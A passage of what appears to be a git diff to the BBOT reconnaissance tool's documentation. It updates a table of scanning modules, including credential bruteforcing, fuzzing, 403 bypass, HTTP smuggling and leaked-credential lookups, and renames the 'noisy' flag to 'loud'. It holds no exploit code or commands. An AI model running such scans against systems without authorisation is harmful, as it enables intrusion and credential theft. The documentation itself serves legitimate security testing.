HTTP_RESPONSE, RAW_TEXT | URL_UNVERIFIED, WEB_PARAMETER | @liquidsec | 2022-06-27 | -| speculate | internal | No | Derive certain event types from others by common sense | passive | AZURE_TENANT, DNS_NAME, DNS_NAME_UNRESOLVED, HTTP_RESPONSE, IP_ADDRESS, IP_RANGE, SOCIAL, STORAGE_BUCKET, URL, URL_UNVERIFIED, USERNAME | DNS_NAME, FINDING, IP_ADDRESS, OPEN_TCP_PORT, ORG_STUB | @liquidsec | 2022-05-03 | -| unarchive | internal | No | Extract different types of files into folders on the filesystem | passive | FILESYSTEM | FILESYSTEM | @domwhewell-sage | 2024-12-08 | +| Module | Type | Needs API Key | Description | Flags | Consumed Events | Produced Events | Author | Created Date | +|-----------------------|----------|-----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------|---------------------------|----------------| +| ajaxpro | scan | No | Check for potentially vulnerable Ajaxpro instances | active, safe, web-heavy | HTTP_RESPONSE, URL | FINDING, TECHNOLOGY | @liquidsec | 2024-01-18 | +| aspnet_bin_exposure | scan | No | Check for ASP.NET Security Feature Bypasses (CVE-2023-36899 and CVE-2023-36560) | active, safe, web-heavy | URL | FINDING | @liquidsec | 2025-01-28 | +| baddns | scan | No | Check hosts for domain/subdomain takeovers | active, baddns, cloud-enum, safe, subdomain-hijack, web | DNS_NAME, DNS_NAME_UNRESOLVED | FINDING | @liquidsec | 2024-01-18 | +| baddns_direct | scan | No | Check for unusual subdomain / service takeover edge cases that require direct detection | active, baddns, cloud-enum, safe, subdomain-enum | STORAGE_BUCKET, URL | FINDING | @liquidsec | 2024-01-29 | +| baddns_zone | scan | No | Check hosts for DNS zone transfers and NSEC walks | active, baddns, cloud-enum, safe, subdomain-enum | DNS_NAME | FINDING | @liquidsec | 2024-01-29 | +| badsecrets | scan | No | Library for detecting known or weak secrets across many web frameworks | active, safe, web | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2022-11-19 | +| bucket_amazon | scan | No | Check for S3 buckets related to target | active, cloud-enum, safe, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | +| bucket_digitalocean | scan | No | Check for DigitalOcean spaces related to target | active, cloud-enum, safe, slow, web-heavy | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-08 | +| bucket_firebase | scan | No | Check for open Firebase databases related to target | active, cloud-enum, safe, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2023-03-20 | +| bucket_google | scan | No | Check for Google object storage related to target | active, cloud-enum, safe, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | +| bucket_microsoft | scan | No | Check for Azure storage blobs related to target | active, cloud-enum, safe, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | +| bypass403 | scan | No | Check 403 pages for common bypasses | active, loud, web-heavy | URL | FINDING | @liquidsec | 2022-07-05 | +| dnsbrute | scan | No | Brute-force subdomains with massdns + static wordlist | active, loud, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-24 | +| dnsbrute_mutations | scan | No | Brute-force subdomains with massdns + target-specific mutations | active, loud, slow, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-25 | +| dnscommonsrv | scan | No | Check for common SRV records | active, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-15 | +| dotnetnuke | scan | No | Scan for critical DotNetNuke (DNN) vulnerabilities | active, invasive, loud, web-heavy | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2023-11-21 | +| ffuf | scan | No | A fast web fuzzer written in Go | active, loud | URL | URL_UNVERIFIED | @liquidsec | 2022-04-10 | +| ffuf_shortnames | scan | No | Use ffuf in combination IIS shortnames | active, iis-shortnames, loud, web-heavy | URL_HINT | URL_UNVERIFIED | @liquidsec | 2022-07-05 | +| filedownload | scan | No | Download common filetypes such as PDF, DOCX, PPTX, etc. | active, download, safe, web | HTTP_RESPONSE, URL_UNVERIFIED | FILESYSTEM | @TheTechromancer | 2023-10-11 | +| fingerprintx | scan | No | Fingerprint exposed services like RDP, SSH, MySQL, etc. | active, safe, service-enum, slow | OPEN_TCP_PORT | PROTOCOL | @TheTechromancer | 2023-01-30 | +| git | scan | No | Check for exposed .git repositories | active, code-enum, safe, web | URL | CODE_REPOSITORY, FINDING | @TheTechromancer | 2023-05-30 | +| gitlab_com | scan | No | Enumerate GitLab SaaS (gitlab.com/org) for projects and groups | active, code-enum, safe | SOCIAL | CODE_REPOSITORY | @TheTechromancer | 2024-03-11 | +| gitlab_onprem | scan | No | Detect self-hosted GitLab instances and query them for repositories | active, code-enum, safe | HTTP_RESPONSE, SOCIAL, TECHNOLOGY | CODE_REPOSITORY, FINDING, SOCIAL, TECHNOLOGY | @TheTechromancer | 2024-03-11 | +| gowitness | scan | No | Take screenshots of webpages | active, safe, web-screenshots | SOCIAL, URL | TECHNOLOGY, URL, URL_UNVERIFIED, WEBSCREENSHOT | @TheTechromancer | 2022-07-08 | +| graphql_introspection | scan | No | Perform GraphQL introspection on a target | active, safe, web | URL | FINDING | @mukesh-dream11 | 2025-07-01 | +| host_header | scan | No | Try common HTTP Host header spoofing techniques | active, loud, web-heavy | HTTP_RESPONSE | FINDING | @liquidsec | 2022-07-27 | +| httpx | scan | No | Visit webpages. Many other modules rely on httpx | active, cloud-enum, safe, social-enum, subdomain-enum, web | OPEN_TCP_PORT, URL, URL_UNVERIFIED | HTTP_RESPONSE, URL | @TheTechromancer | 2022-07-08 | +| hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, safe, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | +| iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, safe, web | URL | URL_HINT | @liquidsec | 2022-04-15 | +| legba | scan | No | Credential bruteforcing supporting various services. | active, invasive, loud | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | +| lightfuzz | scan | No | Find Web Parameters and Lightly Fuzz them using a heuristic based scanner | active, invasive, loud, web-heavy | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | +| medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, invasive, loud | PROTOCOL | FINDING | @christianfl | 2025-05-16 | +| newsletters | scan | No | Searches for Newsletter Submission Entry Fields on Websites | active, safe | HTTP_RESPONSE | FINDING | @stryker2k2 | 2024-02-02 | +| ntlm | scan | No | Watch for HTTP endpoints that support NTLM authentication | active, safe, web | HTTP_RESPONSE, URL | DNS_NAME, FINDING | @liquidsec | 2022-07-25 | +| nuclei | scan | No | Fast and customisable vulnerability scanner | active, invasive, loud | URL | FINDING, TECHNOLOGY | @TheTechromancer | 2022-03-12 | +| oauth | scan | No | Enumerate OAUTH and OpenID Connect services | active, affiliates, cloud-enum, safe, subdomain-enum, web | DNS_NAME, URL_UNVERIFIED | DNS_NAME | @TheTechromancer | 2023-07-12 | +| paramminer_cookies | scan | No | Smart brute-force to check for common HTTP cookie parameters | active, loud, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-27 | +| paramminer_getparams | scan | No | Use smart brute-force to check for common HTTP GET parameters | active, loud, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-28 | +| paramminer_headers | scan | No | Use smart brute-force to check for common HTTP header parameters | active, loud, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-04-15 | +| portscan | scan | No | Port scan with masscan. By default, scans top 100 ports. | active, portscan, safe | DNS_NAME, IP_ADDRESS, IP_RANGE | OPEN_TCP_PORT | @TheTechromancer | 2024-05-15 | +| reflected_parameters | scan | No | Highlight parameters that reflect their contents in response body | active, safe, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2024-10-29 | +| retirejs | scan | No | Detect vulnerable/out-of-date JavaScript libraries | active, safe, web-heavy | URL_UNVERIFIED | FINDING | @liquidsec | 2025-08-19 | +| robots | scan | No | Look for and parse robots.txt | active, safe, web | URL | URL_UNVERIFIED | @liquidsec | 2023-02-01 | +| securitytxt | scan | No | Check for security.txt content | active, cloud-enum, safe, subdomain-enum, web | DNS_NAME | EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | +| smuggler | scan | No | Check for HTTP smuggling | active, invasive, loud, slow, web-heavy | URL | FINDING | @liquidsec | 2022-07-06 | +| sslcert | scan | No | Visit open ports and retrieve SSL certificates | active, affiliates, email-enum, safe, subdomain-enum, web | OPEN_TCP_PORT | DNS_NAME, EMAIL_ADDRESS | @TheTechromancer | 2022-03-30 | +| telerik | scan | No | Scan for critical Telerik vulnerabilities | active, invasive, loud, web-heavy | HTTP_RESPONSE, URL | FINDING | @liquidsec | 2022-04-10 | +| url_manipulation | scan | No | Attempt to identify URL parsing/routing based vulnerabilities | active, loud, web-heavy | URL | FINDING | @liquidsec | 2022-09-27 | +| wafw00f | scan | No | Web Application Firewall Fingerprinting Tool | active, loud | URL | WAF | @liquidsec | 2023-02-15 | +| wpscan | scan | No | Wordpress security scanner. Highly recommended to use an API key for better results. | active, loud | HTTP_RESPONSE, TECHNOLOGY | FINDING, TECHNOLOGY, URL_UNVERIFIED | @domwhewell-sage | 2024-05-29 | +| affiliates | scan | No | Summarize affiliate domains at the end of a scan | affiliates, passive, safe | * | | @TheTechromancer | 2022-07-25 | +| anubisdb | scan | No | Query jldc.me's database for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-10-04 | +| apkpure | scan | No | Download android applications from apkpure.com | code-enum, download, passive, safe | MOBILE_APP | FILESYSTEM | @domwhewell-sage | 2024-10-11 | +| asn | scan | No | Query asndb for ASN information | passive, safe, subdomain-enum | IP_ADDRESS | ASN | @TheTechromancer | 2022-07-25 | +| azure_tenant | scan | No | Query Azure for tenant information using multiple enumeration methods | affiliates, cloud-enum, passive, safe, subdomain-enum | DNS_NAME | AZURE_TENANT, DNS_NAME, FINDING, URL_UNVERIFIED | @TheTechromancer | 2024-07-04 | +| bevigil | scan | Yes | Retrieve OSINT data from mobile applications using BeVigil | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @alt-glitch | 2022-10-26 | +| bucket_file_enum | scan | No | Works in conjunction with the filedownload module to download files from open storage buckets. Currently supported cloud providers: AWS, DigitalOcean | cloud-enum, passive, safe | STORAGE_BUCKET | URL_UNVERIFIED | @TheTechromancer | 2023-11-14 | +| bufferoverrun | scan | Yes | Query BufferOverrun's TLS API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-10-23 | +| builtwith | scan | Yes | Query Builtwith.com for subdomains | affiliates, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-23 | +| c99 | scan | Yes | Query the C99 API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-08 | +| censys_dns | scan | Yes | Query the Censys API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-04 | +| censys_ip | scan | Yes | Query the Censys API for hosts by IP address | passive, safe | IP_ADDRESS | DNS_NAME, IP_ADDRESS, OPEN_TCP_PORT, OPEN_UDP_PORT, PROTOCOL, TECHNOLOGY, URL_UNVERIFIED | @TheTechromancer | 2026-01-26 | +| certspotter | scan | No | Query Certspotter's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-28 | +| chaos | scan | Yes | Query ProjectDiscovery's Chaos API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-14 | +| code_repository | scan | No | Look for code repository links in webpages | code-enum, passive, safe | URL_UNVERIFIED | CODE_REPOSITORY | @domwhewell-sage | 2024-05-15 | +| credshed | scan | Yes | Send queries to your own credshed server to check for known credentials of your targets | passive, safe | DNS_NAME | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME | @SpamFaux | 2023-10-12 | +| crt | scan | No | Query crt.sh (certificate transparency) for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-13 | +| crt_db | scan | No | Query crt.sh (certificate transparency) for subdomains via PostgreSQL | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2025-03-27 | +| dehashed | scan | Yes | Execute queries against dehashed.com for exposed credentials | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME | @SpamFaux | 2023-10-12 | +| digitorus | scan | No | Query certificatedetails.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-25 | +| dnsbimi | scan | No | Check DNS_NAME's for BIMI records to find image and certificate hosting URL's | cloud-enum, passive, safe, subdomain-enum | DNS_NAME | RAW_DNS_RECORD, URL_UNVERIFIED | @colin-stubbs | 2024-11-15 | +| dnscaa | scan | No | Check for CAA records | email-enum, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | +| dnsdumpster | scan | No | Query dnsdumpster for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-03-12 | +| dnstlsrpt | scan | No | Check for TLS-RPT records | cloud-enum, email-enum, passive, safe, subdomain-enum | DNS_NAME | EMAIL_ADDRESS, RAW_DNS_RECORD, URL_UNVERIFIED | @colin-stubbs | 2024-07-26 | +| docker_pull | scan | No | Download images from a docker repository | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-24 | +| dockerhub | scan | No | Search for docker repositories of discovered orgs/usernames | code-enum, passive, safe | ORG_STUB, SOCIAL | CODE_REPOSITORY, SOCIAL, URL_UNVERIFIED | @domwhewell-sage | 2024-03-12 | +| emailformat | scan | No | Query email-format.com for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | +| fullhunt | scan | Yes | Query the fullhunt.io API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | +| git_clone | scan | No | Clone code github repositories | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-08 | +| gitdumper | scan | No | Download a leaked .git folder recursively or by fuzzing common names | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2025-02-11 | +| github_codesearch | scan | Yes | Query Github's API for code containing the target domain name | code-enum, passive, safe, subdomain-enum | DNS_NAME | CODE_REPOSITORY, URL_UNVERIFIED | @domwhewell-sage | 2023-12-14 | +| github_org | scan | No | Query Github's API for organization and member repositories | code-enum, passive, safe, subdomain-enum | ORG_STUB, SOCIAL | CODE_REPOSITORY | @domwhewell-sage | 2023-12-14 | +| github_usersearch | scan | Yes | Query Github's API for users with emails matching in scope domains that may not be discoverable by listing members of the organization. | code-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS, SOCIAL | @domwhewell-sage | 2025-05-10 | +| github_workflows | scan | Yes | Download a github repositories workflow logs and workflow artifacts | code-enum, download, passive, safe | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-04-29 | +| google_playstore | scan | No | Search for android applications on play.google.com | code-enum, passive, safe | CODE_REPOSITORY, ORG_STUB | MOBILE_APP | @domwhewell-sage | 2024-10-08 | +| hackertarget | scan | No | Query the hackertarget.com API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-28 | +| hunterio | scan | Yes | Query hunter.io for emails | email-enum, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED | @TheTechromancer | 2022-04-25 | +| ip2location | scan | Yes | Query IP2location.io's API for geolocation information. | passive, safe | IP_ADDRESS | GEOLOCATION | @TheTechromancer | 2023-09-12 | +| ipneighbor | scan | No | Look beside IPs in their surrounding subnet | loud, passive, subdomain-enum | IP_ADDRESS | IP_ADDRESS | @TheTechromancer | 2022-06-08 | +| ipstack | scan | Yes | Query IPStack's GeoIP API | passive, safe | IP_ADDRESS | GEOLOCATION | @tycoonslive | 2022-11-26 | +| jadx | scan | No | Decompile APKs and XAPKs using JADX | code-enum, passive, safe | FILESYSTEM | FILESYSTEM | @domwhewell-sage | 2024-11-04 | +| kreuzberg | scan | No | Module to extract data from files | passive, safe | FILESYSTEM | RAW_TEXT | @domwhewell-sage | 2024-06-03 | +| leakix | scan | No | Query leakix.net for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-11 | +| myssl | scan | No | Query myssl.com's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-10 | +| otx | scan | Yes | Query otx.alienvault.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | +| passivetotal | scan | Yes | Query the PassiveTotal API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-08 | +| pgp | scan | No | Query common PGP servers for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-08-10 | +| portfilter | scan | No | Filter out unwanted open ports from cloud/CDN targets | passive, safe | OPEN_TCP_PORT, URL, URL_UNVERIFIED | | @TheTechromancer | 2025-01-06 | +| postman | scan | No | Query Postman's API for related workspaces, collections, requests and download them | code-enum, passive, safe, subdomain-enum | ORG_STUB, SOCIAL | CODE_REPOSITORY | @domwhewell-sage | 2024-09-07 | +| postman_download | scan | No | Download workspaces, collections, requests from Postman | code-enum, download, passive, safe, subdomain-enum | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-09-07 | +| rapiddns | scan | No | Query rapiddns.io for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | +| securitytrails | scan | Yes | Query the SecurityTrails API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | +| shodan_dns | scan | Yes | Query Shodan for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | +| shodan_enterprise | scan | Yes | Shodan Enterprise API integration module. | passive, safe | IP_ADDRESS | FINDING, OPEN_TCP_PORT, OPEN_UDP_PORT, TECHNOLOGY | @Control-Punk-Delete | 2026-01-27 | +| shodan_idb | scan | No | Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities | passive, portscan, safe, subdomain-enum | DNS_NAME, IP_ADDRESS | DNS_NAME, FINDING, OPEN_TCP_PORT, TECHNOLOGY | @TheTechromancer | 2023-12-22 | +| sitedossier | scan | No | Query sitedossier.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-08-04 | +| skymem | scan | No | Query skymem.info for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | +| social | scan | No | Look for social media links in webpages | passive, safe, social-enum | URL_UNVERIFIED | SOCIAL | @TheTechromancer | 2023-03-28 | +| subdomaincenter | scan | No | Query subdomain.center's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-26 | +| subdomainradar | scan | Yes | Query the Subdomain API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-08 | +| trajan | scan | No | Scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations using Praetorian's Trajan tool | code-enum, passive, safe | CODE_REPOSITORY, TECHNOLOGY, URL_UNVERIFIED | FINDING | @N7WERA | 2026-04-11 | +| trickest | scan | Yes | Query Trickest's API for subdomains | affiliates, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @amiremami | 2024-07-27 | +| trufflehog | scan | No | TruffleHog is a tool for finding credentials | code-enum, passive, safe | CODE_REPOSITORY, FILESYSTEM, HTTP_RESPONSE, RAW_TEXT | FINDING | @domwhewell-sage | 2024-03-12 | +| urlscan | scan | No | Query urlscan.io for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @TheTechromancer | 2022-06-09 | +| viewdns | scan | No | Query viewdns.info's reverse whois for related domains | affiliates, passive, safe | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-04 | +| virustotal | scan | Yes | Query VirusTotal's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-25 | +| wayback | scan | No | Query archive.org's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @liquidsec | 2022-04-01 | +| asset_inventory | output | No | Merge hosts, open ports, technologies, findings, etc. into a single asset inventory CSV | | DNS_NAME, FINDING, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, TECHNOLOGY, URL, WAF | IP_ADDRESS, OPEN_TCP_PORT | @liquidsec | 2022-09-30 | +| csv | output | No | Output to CSV | | * | | @TheTechromancer | 2022-04-07 | +| discord | output | No | Message a Discord channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | +| elastic | output | No | Send scan results to Elasticsearch | | * | | @TheTechromancer | 2022-11-21 | +| emails | output | No | Output any email addresses found belonging to the target domain | email-enum, safe | EMAIL_ADDRESS | | @domwhewell-sage | 2023-12-23 | +| http | output | No | Send every event to a custom URL via a web request | | * | | @TheTechromancer | 2022-04-13 | +| json | output | No | Output to Newline-Delimited JSON (NDJSON) | | * | | @TheTechromancer | 2022-04-07 | +| kafka | output | No | Output scan data to a Kafka topic | | * | | @TheTechromancer | 2024-11-22 | +| mongo | output | No | Output scan data to a MongoDB database | | * | | @TheTechromancer | 2024-11-17 | +| mysql | output | No | Output scan data to a MySQL database | | * | | @TheTechromancer | 2024-11-13 | +| nats | output | No | Output scan data to a NATS subject | | * | | @TheTechromancer | 2024-11-22 | +| neo4j | output | No | Output to Neo4j | | * | | @TheTechromancer | 2022-04-07 | +| nmap_xml | output | No | Output to Nmap XML | | DNS_NAME, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, PROTOCOL | | @TheTechromancer | 2024-11-16 | +| postgres | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-08 | +| python | output | No | Output via Python API | | * | | @TheTechromancer | 2022-09-13 | +| rabbitmq | output | No | Output scan data to a RabbitMQ queue | | * | | @TheTechromancer | 2024-11-22 | +| slack | output | No | Message a Slack channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | +| splunk | output | No | Send every event to a splunk instance through HTTP Event Collector | | * | | @w0Tx | 2024-02-17 | +| sqlite | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-07 | +| stdout | output | No | Output to text | | * | | @TheTechromancer | 2024-04-03 | +| subdomains | output | No | Output only resolved, in-scope subdomains | safe, subdomain-enum | DNS_NAME, DNS_NAME_UNRESOLVED | | @TheTechromancer | 2023-07-31 | +| teams | output | No | Message a Teams channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | +| txt | output | No | Output to text | | * | | @TheTechromancer | 2024-04-03 | +| web_parameters | output | No | Output WEB_PARAMETER names to a file | | WEB_PARAMETER | | @liquidsec | 2025-01-25 | +| web_report | output | No | Create a markdown report with web assets | | FINDING, TECHNOLOGY, URL, VHOST | | @liquidsec | 2023-02-08 | +| websocket | output | No | Output to websockets | | * | | @TheTechromancer | 2022-04-15 | +| zeromq | output | No | Output scan data to a ZeroMQ socket (PUB) | | * | | @TheTechromancer | 2024-11-22 | +| cloudcheck | internal | No | Tag events by cloud provider, identify cloud resources like storage buckets | | * | | @TheTechromancer | 2024-07-07 | +| dnsresolve | internal | No | Perform DNS resolution | | * | DNS_NAME, IP_ADDRESS, RAW_DNS_RECORD | @TheTechromancer | 2022-04-08 | +| aggregate | internal | No | Summarize statistics at the end of a scan | passive, safe | | | @TheTechromancer | 2022-07-25 | +| excavate | internal | No | Passively extract juicy tidbits from scan data | passive, safe | HTTP_RESPONSE, RAW_TEXT | URL_UNVERIFIED, WEB_PARAMETER | @liquidsec | 2022-06-27 | +| speculate | internal | No | Derive certain event types from others by common sense | passive, safe | AZURE_TENANT, DNS_NAME, DNS_NAME_UNRESOLVED, HTTP_RESPONSE, IP_ADDRESS, IP_RANGE, SOCIAL, STORAGE_BUCKET, URL, URL_UNVERIFIED, USERNAME | DNS_NAME, FINDING, IP_ADDRESS, OPEN_TCP_PORT, ORG_STUB | @liquidsec | 2022-05-03 | +| unarchive | internal | No | Extract different types of files into folders on the filesystem | passive, safe | FILESYSTEM | FILESYSTEM | @domwhewell-sage | 2024-12-08 | For a list of module config options, see [Module Options](../scanning/configuration.md#module-config-options). diff --git a/docs/modules/nuclei.md b/docs/modules/nuclei.md index 31cfb6fe4a..3264c1ab4b 100644 --- a/docs/modules/nuclei.md +++ b/docs/modules/nuclei.md @@ -13,7 +13,7 @@ BBOT integrates with [Nuclei](https://github.com/projectdiscovery/nuclei), an op ## Default Behavior * By default, only "directory URLs" (URLs ending in a slash) will be scanned, but ALL templates will be used (**BE CAREFUL!**) -* Because it's aggressive and potentially destructive, Nuclei is tagged as both **noisy** and **invasive**. BBOT will warn you before starting the scan, but no special flag is needed to enable it. +* Because it's aggressive and potentially destructive, Nuclei is tagged as both **loud** and **invasive**. BBOT will warn you before starting the scan, but no special flag is needed to enable it. ## Specifying custom templates diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index e0a2ba6e71..79847aae63 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -79,7 +79,7 @@ Modules: -em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...] Exclude these modules. -f FLAG [FLAG ...], --flags FLAG [FLAG ...] - Enable modules by flag. Choices: active,affiliates,baddns,cloud-enum,code-enum,download,email-enum,iis-shortnames,invasive,noisy,passive,portscan,service-enum,slow,social-enum,subdomain-enum,subdomain-hijack,web,web-heavy,web-paramminer,web-screenshots + Enable modules by flag. Choices: active,affiliates,baddns,cloud-enum,code-enum,download,email-enum,iis-shortnames,invasive,loud,passive,portscan,safe,service-enum,slow,social-enum,subdomain-enum,subdomain-hijack,web,web-heavy,web-paramminer,web-screenshots -lf, --list-flags List available flags. -rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...] Only enable modules with these flags (e.g. -rf passive) diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 49a5ae1fb0..0992c83117 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -374,10 +374,14 @@ In addition to the stated options for each module, the following universal optio |-----------------------------------------------------|----------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | modules.baddns.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | | modules.baddns.enabled_submodules | list | A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only | [] | -| modules.baddns.only_high_confidence | bool | Do not emit low-confidence or generic detections | False | +| modules.baddns.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED) | MODERATE | +| modules.baddns.min_severity | str | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL) | LOW | | modules.baddns_direct.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | +| modules.baddns_direct.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED) | MODERATE | +| modules.baddns_direct.min_severity | str | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL) | LOW | | modules.baddns_zone.custom_nameservers | list | Force BadDNS to use a list of custom nameservers | [] | -| modules.baddns_zone.only_high_confidence | bool | Do not emit low-confidence or generic detections | False | +| modules.baddns_zone.min_confidence | str | Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED) | MODERATE | +| modules.baddns_zone.min_severity | str | Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL) | INFO | | modules.badsecrets.custom_secrets | NoneType | Include custom secrets loaded from a local file | None | | modules.bucket_amazon.permutations | bool | Whether to try permutations | False | | modules.bucket_digitalocean.permutations | bool | Whether to try permutations | False | diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 3d26f2dc66..aca266360c 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -93,11 +93,11 @@ Modules can be easily enabled/disabled based on their flags: - `-em` Exclude these individual modules (e.g. `-em ipneighbor`) - `-lf` List all available flags -Every module is either `active` or `passive`. Some modules are additionally tagged `noisy` (generates lots of traffic) or `invasive` (intrusive or potentially destructive). These can be useful for filtering. For example, if you wanted to enable subdomain enumeration modules but exclude noisy ones, you could do: +Every module is either `active` or `passive`. Some modules are additionally tagged `loud` (generates lots of traffic) or `invasive` (intrusive or potentially destructive). These can be useful for filtering. For example, if you wanted to enable subdomain enumeration modules but exclude loud ones, you could do: ```bash -# Enable subdomain-enum modules but exclude noisy 